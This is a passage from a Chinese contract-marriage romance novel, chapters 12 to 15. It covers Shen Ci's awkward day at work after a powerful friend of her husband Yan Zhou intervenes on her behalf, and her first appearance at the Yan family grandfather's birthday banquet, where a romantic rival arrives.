唯一不友好的地方就是价格太贵了,品相稍微好点的蓝金动辄上万,金贵的猫也只能娇养,什么都得给它用最好的,花钱如流水。
不过贵不是粥粥的缺点,而是她的缺点。
毕竟宴舟就把粥粥养得很好,让它成为猫中公主。
昨晚她生病,他不许粥粥近她的身,这会儿正好能趁着出发前好好揉搓一番。
“你们两个的确很有共同话题。”
脾气都一样令人捉摸不透,生气了都一样难哄。
宴舟似是想到了什么,他勾了勾唇。
12. Chapter 12
“走吧,我送你去上班。”
他站起身,看了眼腕表的时针指向,说。
“啊?你送我过去?”
沈词吃惊地张大嘴巴。
“不然呢,你以为这里能打到车?”
君御湾是京市有名的别墅区,住在这里的人家通常不只有钱,多半还有权——宴舟则是两者兼备。因此别说是网约车了,没有通行证的私家车一律会被安保人员拦在君御湾外,只能步行上门。
“……”沈词顿了顿,和他解释,“可就算这样也不能你亲自送我去公司。你那么有名,万一被人认出来,岂不是麻烦了?”
车牌号为京A777的劳斯莱斯,全京市唯有宴家人能这么肆无忌惮地高调出行,车牌号一出,宴舟的身份不言而喻。
要是真开这辆劳斯莱斯送她去凡星科技上班,不出二十分钟,有关她的流言就会生生不息,传遍每一个热爱八卦的员工。
“我让刘诚换一辆车。”
宴舟打了个电话,“把车库里最普通的车开过来。”
“没问题宴总。”
刘诚不理解,但尊重并照办。
五分钟后,一辆奔驰G-Class停在大门口。
“宴总,夫人,请上车吧。”
刘诚弯腰为二人拉开奔驰后座的车门,留意到沈词纹丝不动,刘诚委婉地说:“夫人,这已经是宴总车库里最便宜的一辆SUV了,您看可以吗?或者我让司机去开那辆阿斯顿马丁?”
“不,不麻烦了。”
再磨蹭下去就变得矫情,她给自己吃了颗定心丸,利落地钻进后座。
宴舟不懂为什么她的表情看上去那么视死如归,她是去上班,又不是赶赴刑场。
“总之……这次谢谢学长替我解围。”
分开前,沈词对他说。
“我早上说的话又忘了?”
宴舟抬了抬眼皮,提醒意味十足。
“我会改的,但你总得给我一点适应的时间,总之学长再见!”
“嗯,明天见。”
他看着女孩逃也似的下了车,匆忙的背影让他感到有些好笑。
“宴总,您接下来去哪儿?”
“回家。”
“好的宴总。”
宴舟今日并没有安排公司的日程,更何况他还要为明晚爷爷的生日宴准备一些东西,他早上特地走这么一遭,纯粹是送沈词来公司。
因为此时凡星科技的这栋楼中,必然有一双眼睛在刻意打探什么,很可能不止一双眼睛。
他冷冷地呵了一声,眼底尽是不屑一顾。
沈词上班迟到了半个小时,但市场部没有人注意到她,同事们都在专心工作,无暇顾及不相干的人。
除了Lucas。
Lucas一见到沈词,他的八卦欲如熊熊烈火般噌的一下就烧了起来,他搬着椅子挪到她工位旁边,兴奋地问:“你昨天怎么招呼都不打一声就直接走了?你都不知道当时许总打不通你电话也找不到你人,他脸色都难看成什么样了。”
“虽然你事先说过自己不能喝酒,可Alexander是咱们公司的大客户,就连总经理都得给他面子陪他喝酒,咱们这种小喽啰得罪不起人家。”
“而且从表面看你不是业务员不用背业绩,但万一咱们部门达不成年度指标,你也得跟着倒霉不是?哎我是真没料到你竟然就那么撂摊子走了,勇士,真的勇士。”
Lucas叽里呱啦说了一通,吵得沈词脑袋疼。
她转过来,木然地看着Lucas,说:“请问你说完了吗?没说完就去许总办公室说,说完了的话我要工作了。”
沈词向来都是组里出了名的好脾气,Lucas全然没料到她会开口怼自己。
Lucas面色一僵,涨红了脖子,当即甩下脸,“还想着帮你在许总面前说两句好话,没想到你这么不领情,无趣。”
沈词全当没听见。
她已经不再是去年那个什么都不懂的职场笨蛋了,Lucas方才那番话看似是说理解她有难处,实际上还是在指责她没有顾全大局,字字句句都在道德绑架。
她只觉着虚伪。
没有Lucas在旁边唠叨,沈词的耳根子终于清净不少。正当她纳闷许畅为什么直到现在都没喊她到办公室问责的时候,总经办来人了。
“你就是沈词?”
总助Tracy看了眼沈词的工牌,她说,“跟我来吧,王总找你。”
王总就是凡星科技的总经理王康连,十四年前他和许畅联合创立了凡星科技,他们两个人投资七三开,王康连七,许畅占三。
许畅虽为副总,但他的话语权远远不如王康连。在凡星,王康连才是真正拿主意的那个人。而一向眼高于顶的许畅在王康连面前,也得做小伏低。
沈词从未去过总经理办公室,不知王康连找她是为了什么。
“你认识祁氏集团的继承人?”
王康连也不藏着掖着,谈话上来就直入主题。他的相貌看上去比许畅更具有管理层的风范,完美符合白手起家的中年成功企业家画像。沈词在许畅手底下工作了大半年,觉得许畅实在是小家子气,这么一看,王康连比许畅给人的感觉好多了。
但……祁氏集团的继承人又是谁?
她在京市生活了这么多年,然而像她这样的小老百姓哪儿能接触到什么集团继承人。
她唯一认识并且有交集的京市贵族,只有她的联姻老公。
“王总好,您可能误会了,我并不认识您所说的祁氏继承人。”
王康连或许是找错人了吧,沈词想。
“不认识?”
王康连警惕地眯起眼睛,来回打量着沈词,想要从她脸上看出一点说谎的端倪。
方才他站在这里向下看去,明确看到公司楼下停了一辆奔驰大G。尽管这辆车所挂的车牌号并非他熟悉的数字,可这毕竟是百万级别的大G,没点家世哪儿养得起。
况且她身上穿的衣服也并非凡品,冬季的大衣羽绒服最容易看出一个人的家庭情况,王康连虽说是比不上京市那些富二代权二代,但这么多年来也算是闯出了一点名堂,他之前结交的富家阔太太都未必买得起质感这么好的羊绒大衣。
三天前王康连还陪妻子在商场买了一件三万块钱的大衣,而沈词身上的这件衣服做工裁剪比起他们买的那件,明显更加有过之而无不及。
她不可能是一般人。
又或者换句话说,她背后的那个人不可能是一般人。
开将近200万的大G,送人六位数的衣服,能经得起这么霍霍的家世,给她撑腰的必然是京市有头有脸的大人物。
昨晚快九点钟的时候上面有人打电话给他,对方声称沈词有祁家的人罩着,让他们别自讨苦吃。
王康连压根不知道发生了什么,也不知道自己为什么会接到这通电话,更
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不知道沈词是谁。一头雾水的他联系到了许畅,这才搞明白怎么一回事。
“你当真不知情?”
王康连狐疑地问。
“我确实不认识您说的这个人,王总。”
他的眼神令沈词很不舒服。
资本家重利,王康连打探她的目光显然透着一种权衡利弊的猜疑,他将沈词当成交换利益的筹码,当着她的面评估是否有利可图。
“饭局的事情我都听说了,许总那边我会去说,你放心,他不会因此找你不痛快。年轻人不懂酒桌文化也不是什么大事,但总归不要伤了和客户的和气,该做的生意还是要做。”
王康连扶了扶眼镜,说。
“好的王总。”
“行了,我这儿也没别的事,你先出去吧。”
“好的。”
沈词就这样莫名其妙地来,又莫名其妙地离开。
Tracy送她下楼,空间逼仄的电梯内,Tracy漠然地开口:“王总还让我告诉你,作为凡星科技的员工,我们应该一切以客户为中心,公司利益至上。你刚毕业年轻气盛没关系,但这种冒犯客户和领导的事情最好不要有下次。”
……
加上Tracy,这是一个小时内第三个对她说教的人。
沈词选择保持沉默。
Tracy:“你没听见我说话?”
沈词只答:“听见了。”
“听见了不知道回话?”
Tracy给王总当了这么长时间的总助,凡星的员工都会看在王总的面子上敬她两分。不曾想一个市场部小小的员工,竟然敢不把她放在眼里。
“抱歉,我要回去上班了。”
沈词头也不回地走了,她怕自己再和这群人待下去,下一秒就要头脑发热冲去人事部提交辞呈。
说好的新星独角兽企业,团队氛围好,怎么从领导到员工都这么喜欢对别人说教?
若非她还没攒够支撑躺平的积蓄,她是真不想干了。
不过……王康连说的祁氏继承人究竟是谁,难道是昨晚和宴舟在一起的那位戴着金丝眼镜气质出挑的大帅哥?
沈词:「宴舟,请问你认识祁氏集团的继承人吗?」
宴舟:「继承人不认识。」
宴舟:「只认识祁家独子。他叫祁屿岸,毕业于剑桥大学,是一名律师,就是昨晚上和我们在一起的男人。」
沈词心里缓缓冒出一个问号。
祁家独子……不就是祁氏继承人?这二者之间有什么区别吗。
偌大一个集团,不交给自家唯一一个独苗苗,总不能交给别人继承吧。
沈词想到宴舟当时说“你不用担心,会有人摆平”,那应当就是指这个吧。
以他的身份地位来讲确实不便本人出手,何况也用不着他亲自出手。凡星科技之于雁易集团,不过是蚍蜉撼大树的蝼蚁之辈。
沈词:「那你帮我谢谢这位祁先生。」
宴舟:「你可以在明晚的宴会上当面向他道谢。」
沈词:「喔好。」
宴舟:「还有呢?」
沈词:「还有什么?」
宴舟不悦地皱着眉,原本打算顺着他裤腿向上爬的粥粥忽然感到一阵冰冷的气息,它“喵嗷”着叫了两声后利索地躲远了。
他伸出的手摸了个空,于是更不爽了。
宴舟:「不是总说要感谢我,你就只是口头感谢?」
13. Chapter 13
收到他的消息,沈词呼吸慢了半拍。她想起来近半个月都是自己在麻烦宴舟,她也没给他实质性的回报,好像是有点不厚道。
沈词:「要不我请你吃饭吧,我知道一家很好吃的湘菜馆,虽然不是什么山珍海味,但是这家湘菜味道很不错,环境也还可以。」
这是她能接受的最不平价的一家餐厅,就连她自己也只舍得在发薪日那两天下馆子奢侈一回。
请他吃这家湘菜,是她目前能想到的最大的诚意。
宴舟:「去外面吃有什么意思,你直接来君御湾给我做。」
沈词:「但我厨艺一般,我做的饭只能勉强果腹,不好吃的。」
宴舟:「是你要感谢我,难道不应该我这个受邀者说了算?」
沈词咂咂嘴,用指尖戳着屏幕:「那好吧,你什么时候方便?」
宴舟:「随时恭候。」
宴舟:「不过越快越好,免得沈小姐贵人多忘事,你认为呢?」
沈词:……
「那就下周末吧,这周我有事不能去你家。」
「当然明天爷爷的晚宴肯定不会耽误,我指的是周日有其他事情。」
宴舟:「一言为定。」
不经意间,她又多了一次和宴舟见面的机会。
别人家小孩的青春或许靓丽多彩,但她十几岁的青春简直是一滩剪不断理还乱的泥潭。
沈词父母离异,法院把她判给了母亲,然而没过多久母亲就带着她改嫁,母亲和继父又生了一个女儿,是她同母异父的妹妹。自妹妹出生后,全家的重心都放在了这个小姑娘身上,母亲不再像从前那样对她上心,愈发冷落她了。
最让沈词寒心的是,母亲把她的书房改成了给妹妹的婴儿房,甚至还掏空全部的家底给年仅一岁的妹妹在京市付了一套新房的首付,一家人至今都在还贷款。
沈词从来没把父亲母亲的财产当成自己的私有财产,可就在母亲给继妹买房之前,母亲曾委婉地劝说沈词高中毕业后不要再接着上大学,希望她能早点打工帮衬家里。
要不是沈词自己争气考上了清大,以区状元的身份获得学费全免的优待,她真有可能因为交不起学费而被迫辍学,碌碌一生无所为。
而过去无数个看不见希望的黑夜里,想再次见到宴舟是她唯一的念想。她只有好好学习,拼了命留在京市,只有这样她才有机会在茫茫众生中再听到他的名字。
沈词十五岁第一次认识宴舟,那时她只感叹世上怎么会有这么好看的少年。
而她十六岁那一年,宴舟偶然在小巷口救下被流氓堵住的她,他像是童话故事里从天而降的王子,会在灰姑娘落魄之际毫不嫌弃地伸出手。
此后八年辗转,她凭借着一腔孤勇,还有那即使撞了南墙也不回头的决心走到了宴舟身边。哪怕往后她和宴舟注定要分离,至少当下的她是他名义上的妻子,获得他的垂怜。
“宴学长,我喜欢你这件事,你无需知晓。”
明晚见,还有……下次见。
——她握着手机,默默在心里想。
-
宴舟自己住的君御湾是设计风格别致的豪华欧式别墅,而宴家的老宅则是坐落在故宫城下风景优美的旧式园林。从外面望去,这座园林更像是会出现在文旅宣传片里的著名旅游景点,没有人能想到这么大的一座堪称占据了京市价值最高地皮的园林宅子会是私人所属,会是某个人的家。
这也是沈词头一次造访宴家老宅。
宴舟刚才说下车的时候,她还以为是因为前方园林作为旅游景点车辆无法通行,需要步行绕过去。
根本没料到从她下来那一刻起,她目光所及的全部风景,都只是这座园林秀丽景象的冰山一角。
有没有人能凭借爱意将富士山私有她不知道,但她如今明了,传闻中的皇家园林已是宴家的私有财产。
而她此刻正站在园子中心,并随着宴舟静静地往里面走。
沈词尽可能地放轻了脚步,唯恐惊扰到栖息在此处的某位神明。她原先是不信这些鬼神之说的,但她置身于长廊水榭,穿过一百年前就有人听雨赏花的屋檐下,头顶苍穹是再明朗不过的月亮,耳畔是潺潺的水声。
这一瞬间,她感觉自己仿佛穿越回了千年以前,成为那神色虔诚步履匆匆的朝圣旅人。
“晚上可能会有客人过来祝寿,但主要还是家宴,在场的大多都是宴家自己人,你不必太过忧心。”
进门之前,宴舟看了眼身旁的沈词,见她紧张的似乎连眉毛和嘴唇都在用力,他感到有些无奈又好笑。
“我……我还好,不是特别紧张。”
沈词定了定心神,佯装镇定。
而宴舟扫了眼西装衣角,打趣她,“是吗,那你抓这么紧又是做什么?”
沈词低头一看,这才意识到一路走过来抓着的竟然都是宴舟的衣服。她穿着那天晚上在Elysian和宴舟一起买的鱼尾礼服,上半身搭了件中长款外套保暖,还以为抓的是自己的衣角。
“……我不小心弄错了。”
沈词赶忙松开他的西装,只当无事发生。下一秒,宴舟反握住她的手腕,将她柔弱无骨的手攥在掌心,又与她十指相错。
“嗯?”
她用眼神示意他。
宴舟神色自若地说:“这样看起来比较恩爱。提前练习一下,待会儿才不容易出岔子。”
“也是。”
沈词点点头,自己也往他身边挪了挪,随他一起进去。
宴舟一亮相就成了本场焦点,但很快更多人的目光纷纷停留在沈词身上。这是沈词第一回在宴家家宴露面,她可比宴舟招稀罕多了。
无数道视线同时朝她看过来,或惊讶,或好奇,或审视,或怀疑。人们脸上什么表情都有,但更多的还是打探。毕竟当一个不属于这里的陌生人贸然闯入本就存在的圈层,大家往往都想知道为什么、凭什么。
沈词陡然有点不自在。
她以前连大学同学组的局都不常参加,工作后更是独来独往,但凡能推掉的聚餐一律都推了,她哪里见过这种大场面。
宴舟感知到沈词的局促不安,他悄悄捏了捏她的手掌心,压低声音说:“不用害怕,我会和你在一起。”
他牵着女孩白嫩的手,忽视在场所有人的目光,迈开步伐径直朝坐在沙发主位的老爷子那里走过去,每一步都迈得从容又沉稳。
“爷爷,我带阿词回来了。”<
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直至在老爷子面前站定,宴舟也没有松开她的手。
听见他叫自己“阿词”,沈词心跳猛地加快两拍。
想想也是,做戏要做全套,有哪家新婚夫妻婚后还总是直呼伴侣大名的。
沈词弯了弯眼睛,甜甜地笑着,也跟着宴舟叫人:“爷爷晚上好,我们又见面了。祝您生日快乐,身体安康。这是我给您准备的小礼物,是我的一点点心意,还希望您不要嫌弃。”
“你能来给爷爷过生日,老头子我就已经很高兴了,你看看你还带什么礼物。阿词快过来坐到爷爷身边来,让爷爷好好看看你。”
宴呈笑呵呵地朝沈词招手,沈词下意识看了眼身旁的宴舟,似是在征求他的意见。
宴舟颔首:“去吧,爷爷喜欢你。”
“那我先过去。”
沈词走到老爷子身边,挨着他坐下。
女孩背挺得很直,白皙的脖颈线条纤细又勾人,配上这身靛蓝色的鱼尾礼服,在耀眼的灯光下,她的确像极了端庄大方的公主。
就连不近女色的宴舟都禁不住带着欣赏的目光多看了两眼。
刘诚负责将礼物送到该送给的人手上,沈词则是忙着陪老爷子聊天,大哥和大嫂还在二楼的房间陪小孩子,一个不注意,宴舟竟成了落单的那个人。
“别看了,盯妻狂魔。”
“少看两眼又能怎么样?你老婆又不会跑。”
祁屿岸不知是从哪个角落里冒出来的,他撞了下宴舟的肩膀,扬起下巴“啧”了一声,说,“就这你也好意思说协议结婚,说没感情?你眼睛都快长小姑娘身上去了,我还是第一次见咱们宴总这么痴情。”
宴舟视线收回来的刹那,连嘴角的弧度也一同抹去了。
他面无表情地开口:“不说话没人把你当哑巴。”
“一天没见,你怎么变得这么薄情寡义了。亏我还找人警告凡星科技,有本少爷出手,再给他们一百个胆子,谅那群人也不敢为难你老婆。”
“说说吧,你准备怎么感谢本少爷?我看你新买的那辆兰博基尼不错,借我开两天?”
祁屿岸虽是律师,但他并不像刻板印象中的律师那般古板严肃,相反,他性子跳脱,和宴舟这座万年冰山相比,祁屿岸更像烈日骄阳,只要靠近他,就会被他散发的光环温暖到。
“她说想请你吃饭。”
还没正经聊两句,宴舟的目光又越过人群看向了沈词。
她约莫是和老爷子聊到了什么有趣的事情,笑得很开心,两个浅浅的梨涡晃了他的眼。
“她?”
祁屿岸瞬间了然,“哦你是说你老婆啊,那小词请客我肯定去,我义不容辞你懂吗?”
“小词?”
听见祁屿岸的称呼,宴舟眉尾一挑,复述的口吻明显很不客气。
他都没这么叫过她。
“怎么了,你宴大少爷该不会连一个简单的称呼都要计较吧?还说自己不喜欢,装,接着装。”
祁屿岸不想和宴舟费口舌了,他感觉此刻的宴舟宛如一个行走的大醋坛子,并且自带爆破压强和雷点,随便一句话就能点炸。
恋爱中的男人真可怕,宴舟迟早把身心都赔进去,他想。
14.Chapter 14
“说了这么多话,差点把正事给忘了。”
祁屿岸拍了下自己的脑袋,怨恨地瞪了宴舟一眼,要不是他被这个恋爱脑不自知给带到沟里去,他怎么会忘记要找宴舟说什么。
“什么正事?”
宴舟没太在意。
她和老爷子聊了有一会儿了,再过十分钟他就过去拯救她。小姑娘面皮薄经不住逗,老爷子又常常喜欢说些“早日抱重孙子”的话打趣他们,俗话说姜还是老的辣,她一个小姑娘哪里经得住老爷子事无巨细地审查。
他若是不过去帮衬着,就家里人那仿佛人口普查一样的问法,沈词迟早招架不住,露了馅儿。
“你传说中的白月光回来了。”
“而且她今晚也会来参加老爷子的生日宴,人已经在路上了,估摸着一会儿应该就到。”
祁屿岸神秘兮兮地说。
“我怎么不知道我什么时候有了白月光?”
宴舟瞬间冷下脸,眼底的温柔只眨眼的工夫就全部消失不见,只剩下不耐烦的冷漠。
“赵蓁意啊,你忘啦?”祁屿岸提醒他,“小时候总跟在你身后跑的那个小姑娘。赵蓁意小你三岁,但从小学到大学一直跟你上的同一所学校。后来你去了牛津,她申请了UCL,毕业后又在国外旅居两年,上个月才回来的。”
“圈子里的人可都说赵蓁意是为了你才出国的,而且她要不是对你有意思,怎么会这么多年都追随你的脚步跟你上同一所学校。再加上赵家也算是京市有头有脸的人物,赵氏夫妻就这么一个宝贝女儿,金贵着呢。宴大少爷,你难道不知道自己已经私下被某些人钦定终身了吗?”
“人赵蓁意可是说过非你宴大少爷不嫁的,还对外放出话说等她UCL毕业就回国和你结婚。不少人都以为你们俩能成,谁能想到你私底下竟然和阿词那小姑娘闪婚了。”
祁屿岸絮絮叨叨一大堆,说完以后,他用那种看好戏的眼神盯着宴舟的脸,企图从这张完美无可挑剔的面庞上面看到一丝为情所困的困惑,又或者是对痴情者的惋惜。
然而宴舟根本不为所动,整个人像一座雪地里鬼斧神工的冰雕,女娲在他脸上留下的每一笔都恰到好处,这张脸浑然天成,挑不出一丁点瑕疵。
最大的瑕疵或许是……太冰冷了。
和他的声带一样冰冷。
“不认识。”
宴舟对祁屿岸的长篇大论做出总结。
他的记忆里根本没有这号人,至于所谓的白月光根本就是无稽之谈。
更何况他从来都不缺门当户对的联姻对象,他缺的是一个缘分,一个能让他的情感在某个当下的瞬间无缘无故战胜理智的缘分,又或者是说被感情支配的冲动。
在沈词之前,没有人能让他产生这种莫名其妙的冲动。
这也是为什么京市想要和宴舟联姻的人那么多,只要他首肯,或是随便从指缝里漏出一点信号,就会有无数符合条件的女孩子和其家庭趋之若鹜,而他独独选中了沈词。
在Aura咖啡馆的那个下午遇到沈词,又机缘巧合与她结婚,是他受本能驱使所做的决定。
唯她一人,仅此而已。
“你不记得她不要紧,问题在于人家可死死地抓着你不放。我托人打听过了,赵蓁意回国前还不知道你已婚的消息,但国内圈子广人脉多,既然她跟着她爸妈一起来参加你爷爷的寿宴,那她至少听见了一点风声。”
祁屿岸正说着,他啧了一声,碰了下宴舟的肩,说:“诺,赵蓁意进来了。”
话音刚落,只见宴舟朝着赵蓁意的方向走去。
赵蓁意一进门,她的目光就锁定了宴舟。当她看到宴舟欣长的身形,他的气质比在新闻上看到的照片还要出挑,是当之无愧的会场焦点,赵蓁意的眼睛蓦地就亮了。
而且……他似乎在朝自己走来。
赵蓁意拎着蓬蓬的裙摆,扬起甜美又标准的笑容,向宴舟小跑过去。
“宴舟!好久不见。”
她来到宴舟身边,兴奋地和他打招呼。未曾想宴舟仿佛没看见她一般,径直越过她,紧挨着一个陌生的女孩子坐下。
“累不累?”
宴舟从果盘里取了一颗水果糖,拆开糖纸以后,他把糖果递到沈词唇边。
众目睽睽之下,而且爷爷就在旁边坐着,沈词不好拒绝他的举动。她只好张开嘴,小心翼翼地含住他的糖果,轻轻摇头:“不累。”
伪装亲密是她今晚的任务之一,沈词时刻铭记着这一点。礼尚往来,她捏了一颗圆润饱满的草莓喂给宴舟,宴舟亦面色不改地当众吃下了这颗草莓。
“还不错,挺甜的。”
他说。
“嗯……我刚才吃了好多呢。”
沈词用指尖戳了戳宴舟的手背,凑到他耳边小声说,“宴舟,爷爷刚才给了我一个镯子,但是这镯子一看就很贵重,你看是不是你们家的传家宝之类的。要真是这样的话,快帮我想想怎么才可以让爷爷收回去,这我真的不能收下。”
闻言,宴舟看向沈词纤嫩的手腕,他平静的面容终于有了些许波动,但那诧异一闪而过,并未在他眸中驻足太久。
“是我奶奶生前最喜欢的镯子,奶奶曾说这个镯子只传给宴家的儿媳妇。”
宴舟父母早年离异,他的母亲钱栩在宴舟4岁的时候就改嫁了,听说是嫁给了一个穷学生出身的小老板。钱栩嫁过去以后日子过得不太好,但谁劝也不肯回头,后来小老板做生意赔得倾家荡产,连给钱栩治病买药的钱都没有。
等钱家和宴家的人赶过去时,钱栩早就在梦中断气3天了,那个小老板也因为还不上高利贷而被催债的人堵在巷子里活生生打死,算是罪有应得。
这个传家手镯,就是在钱栩改嫁那一年被宴家收回,又回到了老爷子宴呈手中。
宴舟的大哥宴京比他先三年娶妻,如今更是和妻子周卉然生了个儿子,但即便是这种情况下,老爷子也没有把手镯给到周卉然,而是一直留在自己身边。
今晚老爷子竟是直接将镯子戴到了沈词手腕。
——谁能得到这个镯子,谁生的后代就是宴家既定的继承人。
这是宴家心照不宣的事情。
想到这里,宴舟的神色不由得也变得凝重了两分。
沈词眼瞧着宴舟面色波动,她立即意识到这个镯子肯定意义斐然,既然如此,那她就更不能要它了。
她正准备把镯子取下来,却被宴舟捏住了手腕。
只听他淡淡地说:“爷爷给你的,你就好好收着吧。”
再怎么样也不能在这时候拂了老人家的心意。
沈词有些着急,“我都看到你表情不对劲了,你别想瞒我。”
十有八九这个镯子就是豪门继承人媳妇身份的象征,她看偶像剧里都是这么演的。
宴舟乐了。
他压低嗓音,揉捏着她主动送上门的手,附在她耳边,醇厚的声线如酥酥麻麻的电流一点点侵蚀沈词的皮肤,他说:“我瞒你什么了?难道我们结婚不是事实,难道你不是我宴舟的妻子,爷爷的孙媳妇?”
“沈词,夫妻同心这句话你总该听过吧。”
“乖,先收着,别的事以后再说。”
沈词被宴舟这几句话哄得云里雾里的,尤其是他那声缱绻无比的“乖”,她感觉自己仿佛掉入了一团柔软的棉花中,又软又晕的根本找不到出去的方向。
“哦……那好吧。”
她低低地应了一声,转了转腕上的镯子,垂下羽扇般浓密又纤长的睫毛。
老爷子自然看到了这对新婚小夫妻之间的互动,眼尖如他瞅见自家臭小子对孙媳妇说了些什么以后,孙媳妇连耳垂都跟着一起红了。老爷子不禁满意地点点头,想着等回头他再多加几把火,抱上小重孙指日可待。
唯有立在一边的赵蓁意脸色变了又变。
宴舟和沈词的亲密举动被她尽收眼底,她用力掐了一下掌心,这才勉强维持住大方得体的姿态。赵蓁意上前两步,夹着细细的嗓音说:“爷爷,宴舟哥哥,好久不见呀。”
跟在她身后的佣人眼疾手快,赵蓁意说完以后,他立即呈上为老爷子准备的贺礼。
赵蓁意依然优雅地笑着,刻意停顿了一晌,等周遭人的目光都聚集在自己身上了才接着说道:“爷爷,这是我为您准备的生辰礼。一个是我在拍卖会上特意为爷爷您寻来的齐老真迹,另一个是明代皇室传下来的古董花瓶。我知道爷爷平日里就喜欢收集这些,所以特意买来讨爷爷欢心,还望爷爷能够收下我的心意。”
齐老的画作真迹,还有至少明清时期的古董,这两样礼物加起来至少要五千万。
为了能搭上宴舟和宴家,赵家是真舍得为女儿花钱。
赵家以为送礼投其所好,他们给老爷子送了这么贵重的礼物,老爷子至少会赏他们两分薄面。
然而宴呈不过是淡淡地扫了一眼打开的匣子,他摆摆手,说道:“嗯,放着吧。”
连眉毛都不曾动一下。
笑脸更是没有。
赵家人脸上顿时就有些不太好看,赵蓁意的脸都笑僵了,宴舟到现在都没施舍过她眼神。
“爷爷……”
赵蓁意还想再说点什么,被赵父拽住了胳膊。赵父冲她使了个眼色,约莫是叫她别再多此一举,免得惹老爷子不快。
“我怎么不知道我宴家还有一个流落在外的孙女儿?”
宴呈抬手扶了下老花镜,眸中锋芒尽显,就像是锃亮的照妖镜似的,妖魔鬼怪在他的审视下无处可逃。
“爷爷……哦不是,宴爷爷。”
赵蓁意尴尬地笑了笑,“我小的时候您还抱过我呢,您还夸我长得乖巧可人,您都忘啦?”
“多少年前的老黄历了。”
宴呈双手交叠在一起搭在拐杖上,虽然看上去慈眉善目,可他周身威严不容忽视,“当初看在宴家与赵家有交情的份儿上才夸了你两句。眼下宴舟这小子结了婚,我这个当爷爷的自然也需要避嫌,免得让人说闲话。”
“宴舟哥哥……真的结婚了?”
赵蓁意身形晃了晃,还是被赵母扶着才堪堪站稳。
她脸色苍白,不甘心地看向坐在宴舟身旁的女孩。
沈词忽然感觉到有一道不善的视线,
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她潜意识看回去,和赵蓁意颇为怨恨的眼神在空气中对上。
沈词:……
她就知道宴舟的妻子不是那么好当的,像宴舟这样毕业三年,七年,乃至十年都还是学校传奇,且地位屹立不倒的风云人物,想追他的人只会像长江后浪推前浪,一波又一波前仆后继。
她的情敌恐怕多到数不清。
她撇撇嘴,小声问宴舟:“那个女孩子……她应该很喜欢你。”
他漠然地回答:“不认识。”
“但她不是说和你们家感情很好吗?”
“别人说什么你都信?”
宴舟挑眉,他大手环住沈词的腰,口吻耐人寻味,“我说我对你图谋不轨,你信吗?”
“这种事情不可以拿来开玩笑。”
她别扭地回答。
要不然她会当真的,谁让自己当真对宴舟“别有用心”。本就心怀鬼胎的她听见这种撩拨的话怎么可能一点反应都没有。
因为她暗恋宴舟这么多年,女孩子的第六感告诉她这个叫赵蓁意的姑娘绝对也喜欢宴舟。
但她确实不清楚赵蓁意的来历,也不晓得宴舟和她的关系。
她的青春只有宴舟的名字与印记。
蝴蝶不曾飞入不属于她的领地,她也就无处得知与花园主人更多的故事。
沈词撇开脑袋,微微错开赵蓁意的试探。
她不喜欢被人用这种直白的眼神盯着看,更不喜欢被别人当做可以衡量价值的货物和商品。赵蓁意的眼神明显透露着一种衡量,她似乎在暗暗作比较。
天秤两端孰轻孰重,不过并非价值更高的那个人就能得到宴舟的偏爱。
爱的意义是没有办法衡量的,她和宴舟在一起的这段时间总算弄明白了一件事情:像宴舟这样的天之骄子从来不缺追求者,他不会为了一朵平平无奇的花驻足,在他的世界里百花齐放,永远不缺争奇斗艳之辈。
因此沈词甘愿做一朵无香的小白花,能落在他肩头,胸前,又或者是袖口;甚至是被他当成玻璃柜中陈列的假花饰品,只要她曾经来过,曾经陪伴过宴舟一段时间就够了。
她并不奢求能被宴舟长久地记住。
她只求他的身影,能在这片花丛,在她的心里留下无尽的芬芳。
“在想什么?”
身旁的女孩忽然一个人发起了呆,她茫然的目光像是在认真思索什么,宴舟只觉着有趣。
莫非他刚才的话吓到她了?
“没什么。”
沈词轻轻晃了晃脑袋,注意力重新集中在宴会上。
宴老爷子此刻正在和宴舟的大哥说话,沈词看到宴京那张更加成熟的脸庞,她又往宴舟跟前挪了挪,用最低的声音问:“话又说回来,大哥和嫂嫂不是已经给爷爷生了重孙子吗?为什么爷爷还催你催得这么紧。”
他不在那会儿,爷爷提了不下三遍,问她和宴舟打算什么时候要孩子。没有宴舟帮自己打掩护,她只得支支吾吾,用年龄还小不着急等诸如此类的借口搪塞过去。
并且说得越多越心虚。
即便是善意的谎言,可她仍旧感到良心难安。
等到半年后期满离婚,她都不知道那时应该怎么面对爷爷了。
“我也不清楚原因。”
宴舟抿直唇,“当初大哥结婚的时候,我也以为家里有了接班人,爷爷应该就不着急我的婚事了。谁能想到大哥不仅没有救我于水火,反而让这火烧得越来越旺,爷爷催得比以前更频繁了,还总拿大哥教育我。”
“……看样子大哥一不小心成了反面教材。”
宴京和宴舟都是钱栩改嫁前和宴邢生的。钱栩改嫁以后,这两个儿子还小,宴家又不能没有当家的女主人,于是宴邢取了白芷欣进门,又和她生了个女儿,也就是宴舟同父异母的妹妹宴明珠。
宴明珠今年21岁,只比沈词小2岁,在纽约大学读书,还有1年就毕业了。
“对了,你不是说家里还有一个妹妹,我今晚好像没见到她。”
生日宴会开始前,宴舟把家族合照拿给沈词看了,让她提前认一认人,这样不容易出错。
沈词将宴家每个人的面孔都熟记于心,可她今晚确实没见到宴明珠。
爷爷过生日,为人孙女怎么着也要赶回来。更何况是宴家这样极为重视血统和血缘的豪门世家,宴明珠如果有不方便的地方,宴家派直升机去学校接她都不是问题。
宴舟眉头微蹙。
“我也没看见。”
他不仅没看到宴明珠,也没有看到继母白芷欣。
但宴舟和她们关系一般,不怎么关心这二位。
“你想见她们?你想见的话我就让刘诚去找。”
总归是家宴,正好借此机会让她都见一见。
“不,不用了。”
沈词赶忙否认,“我就是随口一问,你不用放在心上。”
他抬眼看见她眉目间的纠结,想到她方才进门时紧绷的模样,好似每一根神经都在用力,嘴角微勾。
“今晚辛苦你了,想要什么奖励?”
宴舟摸了摸她耳后,问道。
15.Chapter 15
宴舟这话问得过于暧昧,再配上他抚摸她耳垂的动作,沈词很难不浮想联翩。
这在她眼里,可不就是明晃晃的勾引。
沈词感觉自己本来就红的脸蛋仿佛又升了一个温度,她穿着抹胸鱼尾裙礼服,不仅没有感觉到凉飕飕,反而还热得像一个自动加热的小火炉。
“这本来就是我应该做的,谈不上辛苦。”
为了尽快结束这个话题,沈词假装四处张望,还说,“你不是说祁先生今晚也会来吗?我想当面和他道谢。”
“刚还在,不知道跑哪儿去了,可能有人找他。”
宴舟环视一圈,确实没见着祁屿岸的身影。
许是祁屿岸遇见了熟人,闲聊去了。
“我有点闷,想出去透透气。”
沈词看向他的眼睛,诚恳地说。
